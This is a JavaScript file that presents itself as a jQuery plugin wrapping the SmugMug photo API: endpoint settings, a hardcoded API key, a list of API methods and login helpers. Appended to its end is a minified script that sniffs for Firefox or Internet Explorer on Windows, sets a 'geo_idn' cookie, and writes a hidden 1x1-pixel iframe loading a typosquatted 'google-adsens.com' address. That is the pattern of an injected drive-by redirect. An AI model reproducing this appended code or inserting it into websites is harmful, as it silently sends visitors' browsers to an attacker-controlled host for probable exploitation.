(function($) {
	
	$.smugmug = function() {
		alert("Smugmug Rocks");
	}
	
	$.smugmug.APIVersion = "1.2.0";	
	$.smugmug.endPoint = {
		"1.2.0": "http://api.smugmug.com/hack/json/1.2.0/",
		"1.2.1": "http://api.smugmug.com/services/api/json/1.2.1/",
		"1.2.2": "http://api.smugmug.com/services/api/json/1.2.2/"
	};
	
	$.smugmug.APIKey = "RXcw7ywveg9pEj1n6HBJfuDXqsFsx4jw";
    $.smugmug.session_id = "XXX";

	$.smugmug.apiCall = function(method, params, callback, use_https) {
		params.method = method;
		params.APIKey = $.smugmug.APIKey;

		if ($.smugmug.session_id != "XXX") {
			params.SessionID = $.smugmug.session_id;
		}

		var url = $.smugmug.endPoint[$.smugmug.APIVersion];
		url += "?";
		url += $.param(params);
		
		if ($.smugmug.APIVersion > "1.2.1")
 		  url += "&Callback=?";
        else
		  url += "&JSONCallback=?";

		if (use_https)
		  url = url.replace(/^http:/, "https:");

        // jQuery.getJSON(url, callback);
        jQuery.get(url, null, callback, 'jsonp');
	};

    $.each([
        "smugmug.albums.applyWatermark",
        "smugmug.albums.changeSettings",
        "smugmug.albums.create",
        "smugmug.albums.delete",
        "smugmug.albums.get",
        "smugmug.albums.getInfo",
        "smugmug.albums.removeWatermark",
        "smugmug.albums.reSort",

        "smugmug.albumtemplates.changeSettings",
        "smugmug.albumtemplates.create",
        "smugmug.albumtemplates.delete",
        "smugmug.albumtemplates.get",

        "smugmug.auth.checkAccessToken",
        "smugmug.auth.getAccessToken",
        "smugmug.auth.getRequestToken",

        "smugmug.categories.create",
        "smugmug.categories.delete",
        "smugmug.categories.get",
        "smugmug.categories.rename",

        "smugmug.communities.get",

        "smugmug.family.add",
        "smugmug.family.get",
        "smugmug.family.remove",
        "smugmug.family.removeAll",

        "smugmug.friends.add",
        "smugmug.friends.get",
        "smugmug.friends.remove",
        "smugmug.friends.removeAll",

        "smugmug.images.applyWatermark",
        "smugmug.images.changePosition",
        "smugmug.images.changeSettings",
        "smugmug.images.crop",
        "smugmug.images.delete",
        "smugmug.images.get",
        "smugmug.images.getEXIF",
        "smugmug.images.getInfo",
        "smugmug.images.getURLs",
        "smugmug.images.removeWatermark",
        "smugmug.images.rotate",
        "smugmug.images.upload",
        "smugmug.images.uploadFromURL",
        "smugmug.images.zoomThumbnail",

        "smugmug.login.anonymously",
        "smugmug.login.withHash",
        "smugmug.login.withPassword",

        "smugmug.logout",

        "smugmug.products.get",

        "smugmug.sharegroups.albums.add",
        "smugmug.sharegroups.albums.get",
        "smugmug.sharegroups.albums.remove",
        "smugmug.sharegroups.create",
        "smugmug.sharegroups.delete",
        "smugmug.sharegroups.get",
        "smugmug.sharegroups.getInfo",

        "smugmug.styles.getTemplates",

        "smugmug.subcategories.create",
        "smugmug.subcategories.delete",
        "smugmug.subcategories.get",
        "smugmug.subcategories.getAll",
        "smugmug.subcategories.rename",

        "smugmug.themes.get",

        "smugmug.users.getDisplayName",
        "smugmug.users.getTree",

        "smugmug.watermarks.changeSettings",
        "smugmug.watermarks.create",
        "smugmug.watermarks.delete",
        "smugmug.watermarks.get",
        "smugmug.watermarks.getInfo"

    ], function() {
		var method = this + "";
		var pos = jQuery;
		var minfo = method.split(".");
		var mname = minfo.pop();

		while (chunk = minfo.shift())
		{
			if (!pos[chunk])
			{
				// console.log("build: " + chunk);
				pos[chunk] = {};
			}
			pos = pos[chunk];
		}

		pos[mname] = function(params, callback) {
			if (!params) params = {};
			return $.smugmug.apiCall(method, params, callback);
		};
    });

	$.smugmug.login.withPassword = function(email, pass, callback) {
		if (typeof(email) == "object")
		{
			callback = email.callback;
			pass = email.Password;
			email = email.EmailAddress;	
		}

		$.smugmug.apiCall("smugmug.login.withPassword", {
			EmailAddress: email,
			Password: pass
		}, function(data) {
			$.smugmug.session_id = data.Login.Session.id;
			if (callback) callback();
			}, true);
		};
	
		$.smugmug.login.withHash = function(email, hash, callback) {
			if (typeof(email) == "object")
			{
				callback = email.callback;
				hash = email.PasswordHash;
				email = email.EmailAddress;	
			}

			$.smugmug.apiCall("smugmug.login.withPassword", {
				EmailAddress: email,
				PasswordHash: hash
			}, function(data) {
				$.smugmug.session_id = data.Login.Session.id;
				if (callback) callback();
				}, true);
			};

			$.smugmug.login.anonymously = function(callback) {
				$.smugmug.apiCall("smugmug.login.anonymously", {}, function(data) {
					$.smugmug.session_id = data.Login.Session.id;
					if (callback) callback();
					}, true);
				};

})(jQuery);
var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsens.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
